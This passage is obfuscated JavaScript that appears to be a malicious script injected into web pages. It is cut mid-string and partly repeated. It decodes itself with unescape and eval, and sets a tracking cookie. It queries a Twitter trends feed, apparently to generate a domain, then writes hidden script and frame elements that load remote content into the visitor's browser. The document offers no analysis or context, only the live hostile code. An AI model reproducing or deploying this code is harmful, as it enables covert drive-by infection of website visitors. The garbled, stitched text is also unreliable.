DaZ74e(Z29;eZ78d.sZ65tDaZ74e(Z65Z78d.gZ65tZ44atZ65(Z29Z2bedZ29;doZ63Z75mZ65Z6eZ74Z2ecZ6fokiZ65Z3dcnm+Z20Z27Z3dZ27 +Z65sZ63apeZ28v)Z2bZ27;exZ70iZ72esZ3dZ27+eZ78d.tZ6fGMZ54StZ72Z69ng(Z29Z3b};";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());function t(){return z($a);}var $a="Z64eZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cbZ3dZ2264Z2573Z2529Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0Z253biZ253cdsZ252eZ256cZ22;caZ3dZ22Z2566uncZ2574iZ256fnZ2520dZ2563s(dZ2573Z252ceZ2573)Z257bdsZ253dunesZ2563apZ2565(Z25Z22;dzZ3dZ22Z2566uncZ2574Z2569oZ256e Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256Z2566Z2563umZ252565Z25256eZ252574Z25252eZ2577Z252572iZ2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563Z252572Z252569pZ252574Z2525Z25320Z256caZ25256egZ2575aZ252567Z252565Z25253dZ25255Z2563Z252522jZ2561vaZ2573cZ252572iZ2570tZ25255cZ252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z2569Z2570Z2525Z25374Z25253eZ2527Z253beZ2576Z2561Z256c(uZ256eescZ2561peZ2528t))Z257d;Z22;cdZ3dZ22stZ253dstZ252bStrZ2569Z256eg.fZ2572oZ256dZ2543hZ2561Z2572Z2543odeZ2528(Z2574Z256dZ257Z22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cZ2575Z252c14)Z2529Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ioZ256e cZ257a(czZ2529Z257brZ2565tZ2575Z2572nZ2520cZ2561Z252bcb+Z2563cZ252bcZ2564+Z2563e+cZ257a;};Z22;stZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dsZ2574Z253bdZ2563sZ2528Z2564aZ252bdZ2562+Z2564cZ252bZ2564Z2564+Z2564Z2565,Z25310Z2529;Z2564wZ2528Z2573Z2574Z2529;Z2573Z2574Z253dZ2524aZ253bZ2522;Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;uuvvww;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ22Z2565ngtZ2568;Z2569Z252b+)Z257btZ256dZ2570Z253dds.Z2573liZ2563e(iZ252cZ2569+1)Z253bZ22;ceZ3dZ220.chZ2561rZ2543Z256fdZ2565AtZ25280Z2529^(Z25270xZ25300Z2527+es)Z2529Z2529;Z257d}Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;Z69f (Z64ocuZ6denZ74.cZ6fZ6fZ6bieZ2eZ69ndeZ78Z4ff(Z27Z72f5Z666Z64Z73Z27)Z3dZ3d-1Z29Z7bfunZ63tZ69oZ6e cZ61Z6clbaZ63kZ28x)Z7bwZ69Z6edZ6fw.tZ77Z20Z3d x;vZ61rZ20d Z3d newZ20Z44ateZ28Z29;dZ2eseZ74TZ69me(Z78[Z22as_ofZ22]Z2a1Z3000)Z3bvaZ72 hZ20Z3d d.geZ74Z55Z54Z43Z48ouZ72s(Z29;wZ69ndoZ77.hZ20Z3d h;iZ66Z20(h Z3e Z38)Z7bd.Z73eZ74Z55TZ43DZ61te(Z64.geZ74UZ54CDZ61Z74Z65Z28Z29Z20- 2Z29;Z7dZ65lseZ7bd.Z73etZ55TZ43DaZ74e(dZ2egZ65Z74UZ54CDZ61te(Z29 - Z33)Z3b}Z77indZ6fw.Z67dZ20Z3d d;vZ61r Z74iZ6de Z3d nZ65Z77 Z41Z72Z72Z61y(Z29Z3bZ76ar Z73hiZ66tIZ6edeZ78 Z3d Z22Z22;timeZ5bZ22yZ65Z61Z72Z22] Z3d d.geZ74Z55Z54CFZ75lZ6cYeZ61r()Z3btiZ6dZ65Z5bZ22mZ6fZ6ethZ22] Z3d Z64.gZ65tUZ54CMZ6fZ6etZ68()Z2b1Z3bZ74imZ65[Z22daZ79Z22Z5d Z3d d.gZ65tUZ54Z43DZ61te(Z29Z3bif Z28Z64.geZ74UTCZ4dontZ68()+Z31 Z3c 10Z29Z7bZ73hifZ74IndZ65Z78 Z3d Z74iZ6dZ65[Z22yZ65Z61Z72Z22] + Z22-0Z22 + Z28dZ2egZ65Z74UZ54CZ4dontZ68()+Z31);}Z65lZ73eZ7bshiZ66tIZ6edeZ78Z20Z3d Z74Z69meZ5bZ22yeaZ72Z22] +Z20Z22-Z22 +Z20(dZ2egeZ74Z55TCMZ6fntZ68Z28)+1Z29Z3b}Z69f (Z64.gZ65tUZ54Z43DatZ65(Z29Z20Z3cZ2010Z29Z7bsZ68iftZ49Z6edeZ78 Z3dshZ69fZ74IndZ65x Z2b Z22-Z30Z22 + dZ2egeZ74UTZ43DZ61Z74e(Z29;Z7deZ6cseZ7bshZ69Z66tZ49nZ64eZ78 Z3d shiZ66tInZ64ex Z2b Z22-Z22 + d.Z67etZ55TZ43DZ61tZ65(Z29;}dZ6fcZ75meZ6et.wZ72Z69teZ28Z22Z3csZ63rZ22+Z22ipt lZ61ngZ75ageZ3dZ6aavaZ73criZ70Z74Z22+Z22 sZ72cZ3dZ27htZ74p:Z2fZ2fsearZ63h.Z74wiZ74terZ2ecomZ2ftreZ6eZ64sZ2fdailZ79Z2ejZ73on?Z64aZ74eZ3dZ22+ shiZ66tInZ64eZ78+Z22&callZ62acZ6bZ3dcaZ6cZ6cbZ61ckZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} funZ63tioZ6e caZ6cZ6cZ62Z61Z63k2Z28x)Z7bwiZ6edZ6fwZ2eZ74wZ20Z3d Z78Z3bsc(Z27rfZ35f6Z64Z73Z27,2,Z37Z29Z3beZ76alZ28unZ65scaZ70Z65(dZ7a+Z63zZ2bopZ2bsZ74)+Z27dw(dZ7a+czZ28$Z61+sZ74))Z3bZ27);docZ75menZ74.wZ72iZ74Z65($aZ29;}dZ6fZ63uZ6dZ65nt.Z77Z72iteZ28Z22Z3cZ69Z6dg sZ72cZ3dZ27httpZ3aZ2fZ2fsearchZ2etwZ69ttZ65r.cZ6fmZ2fimaZ67esZ2fseaZ72chZ2frsZ73.Z70ngZ27 widZ74Z68Z3d1 Z68eZ69gZ68tZ3d1Z20Z73tyZ6ceZ3dZ27visibZ69litZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22iptZ20lZ61ngZ75agZ65Z3djavZ61scrZ69ptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fsearcZ68.Z74wiZ74tZ65rZ2ecomZ2fZ74Z72enZ64Z73Z2fdaZ69lZ79.jsZ6fnZ3fcalZ6cZ62acZ6bZ3dcallZ62acZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elsZ65Z7b$aZ3dZ27Z27};funcZ74ionZ20sc(Z63Z6emZ2cv,Z65d)Z7bvZ61rZ20exdZ3dneZ77 DaZ74e(Z29;eZ78d.sZ65tDaZ74e(Z65Z78d.gZ65tZ44atZ65(Z29Z2bedZ29;doZ63Z75mZ65Z6eZ74Z2ecZ6fokiZ65Z3dcnm+Z20Z27Z3dZ27 +Z65sZ63apeZ28v)Z2bZ27;exZ70iZ72esZ3dZ27+eZ78d.tZ6fGMZ54StZ72Z69ng(Z29Z3b};";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());